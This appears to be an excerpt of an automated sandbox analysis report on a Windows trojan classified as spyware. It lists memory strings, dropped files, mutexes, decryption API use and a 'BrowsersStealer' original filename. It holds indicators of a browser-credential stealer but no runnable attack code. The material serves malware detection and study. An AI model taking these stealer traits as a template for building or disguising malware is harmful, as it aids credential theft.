00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000013.00000003.1888731099.000002338B40E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: powershell.exe, 00000008.00000002.1842321653.000001C438447000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000001.00000002.2674259117.0000018873300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5
Source: powershell.exe, 00000001.00000002.2432122684.0000018810074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2513838986.00000216D37C5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2455692348.000001BC542E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2468488200.000001B3C70E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2543724736.000001C448295000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://support.mozilla.org
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: jvwmcr3MsJ.16.dr, MP2aQfW2Vy.16.dr, cS9iz5zx2Z.16.dr, 5zHqOk5xO4.16.dr, WC2Xf6UDpM.16.dr, JGdF8sWVdZ.16.dr, c5bJEuKbRD.16.dr, Fl8JCpmmGb.16.dr, hX82OpooFo.16.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: jvwmcr3MsJ.16.dr, MP2aQfW2Vy.16.dr, cS9iz5zx2Z.16.dr, 5zHqOk5xO4.16.dr, WC2Xf6UDpM.16.dr, JGdF8sWVdZ.16.dr, c5bJEuKbRD.16.dr, Fl8JCpmmGb.16.dr, hX82OpooFo.16.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: jvwmcr3MsJ.16.dr, MP2aQfW2Vy.16.dr, cS9iz5zx2Z.16.dr, 5zHqOk5xO4.16.dr, WC2Xf6UDpM.16.dr, JGdF8sWVdZ.16.dr, c5bJEuKbRD.16.dr, Fl8JCpmmGb.16.dr, hX82OpooFo.16.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: jvwmcr3MsJ.16.dr, MP2aQfW2Vy.16.dr, cS9iz5zx2Z.16.dr, 5zHqOk5xO4.16.dr, WC2Xf6UDpM.16.dr, JGdF8sWVdZ.16.dr, c5bJEuKbRD.16.dr, Fl8JCpmmGb.16.dr, hX82OpooFo.16.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BDC000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014069000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000144A2000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A62000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000146BE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014556000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000139F6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013954000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014827000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014A59000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B70000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013F00000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013BA6000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000141D1000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013B3A000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000014285000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000143EE000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.00000000138E8000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013A98000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013FB4000.00000004.00000800.00020000.00000000.sdmp, kOfFkekrfoWUJKTEEHXqPfq.exe, 00000010.00000002.2969525932.0000000013682000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://www.mozilla.org
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: CnkpnRA30S.16.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Window created: window name: CLIPBRDWNDCLASS

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe\:Zone.Identifier:$DATA	Jump to behavior
Source: C:\Users\user\Desktop\lEwK4xROgV.exe	File created: C:\Windows\CbsTemp\97e8683a328693	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\lEwK4xROgV.exe	Code function: 0_2_00007FFD9B8B9FEA	0_2_00007FFD9B8B9FEA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD9B9430E9	2_2_00007FFD9B9430E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 8_2_00007FFD9B9730E9	8_2_00007FFD9B9730E9
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9B899FEA	16_2_00007FFD9B899FEA
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9C203212	16_2_00007FFD9C203212
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9C20D924	16_2_00007FFD9C20D924
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Code function: 16_2_00007FFD9C201640	16_2_00007FFD9C201640

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\AGJFDLPU.log 7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708

Source: NjoTfhRh.log.0.dr

Static PE information: Resource name: RT_VERSION type: ARM COFF executable, no relocation info, not stripped, 52 sections, symbol offset=0x5f0053, 4522070 symbols, optional header size 82, created Sat Mar 7 05:34:56 1970

Source: lEwK4xROgV.exe, 00000000.00000000.1655955848.0000000000922000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs lEwK4xROgV.exe
Source: lEwK4xROgV.exe, 00000000.00000002.1784074310.000000001BDA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIj% vs lEwK4xROgV.exe
Source: lEwK4xROgV.exe, 00000000.00000002.1783754386.000000001BCC2000.00000002.00000001.01000000.00000000.sdmp	Binary or memory string: OriginalFilenameq944h9VdeekiaLj6nIEA0nxdMfYwMGO54 vs lEwK4xROgV.exe
Source: lEwK4xROgV.exe, 00000000.00000002.1781716309.000000001BA00000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameBrowsersStealer_native.dll" vs lEwK4xROgV.exe
Source: lEwK4xROgV.exe	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs lEwK4xROgV.exe

Source: lEwK4xROgV.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: lEwK4xROgV.exe, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: lEwK4xROgV.exe, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: lEwK4xROgV.exe, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: lEwK4xROgV.exe, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: kOfFkekrfoWUJKTEEHXqPfq.exe1.0.dr, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: kOfFkekrfoWUJKTEEHXqPfq.exe1.0.dr, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: kOfFkekrfoWUJKTEEHXqPfq.exe1.0.dr, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: kOfFkekrfoWUJKTEEHXqPfq.exe1.0.dr, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: RuntimeBroker.exe.0.dr, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: RuntimeBroker.exe.0.dr, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: RuntimeBroker.exe.0.dr, ---.cs	Cryptographic APIs: 'CreateDecryptor'
Source: RuntimeBroker.exe.0.dr, ---.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@27/375@0/2

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

File created: C:\Program Files (x86)\windows portable devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Jump to behavior

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

File created: C:\Users\user\Desktop\NjoTfhRh.log

Jump to behavior

Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Mutant created: NULL
Source: C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\4c41a3c6dfe580d84b91469fa4c05eb3080b8bc098b3225d94f01c5025ae6b3d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7364:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7088:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5676:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5496:120:WilError_03

Source: C:\Users\user\Desktop\lEwK4xROgV.exe

File created: C:\Users\user\AppData\Local\Temp\1d678735aef2e4856b6fdc6a502d0e0df0550a7f

Jump to behavior

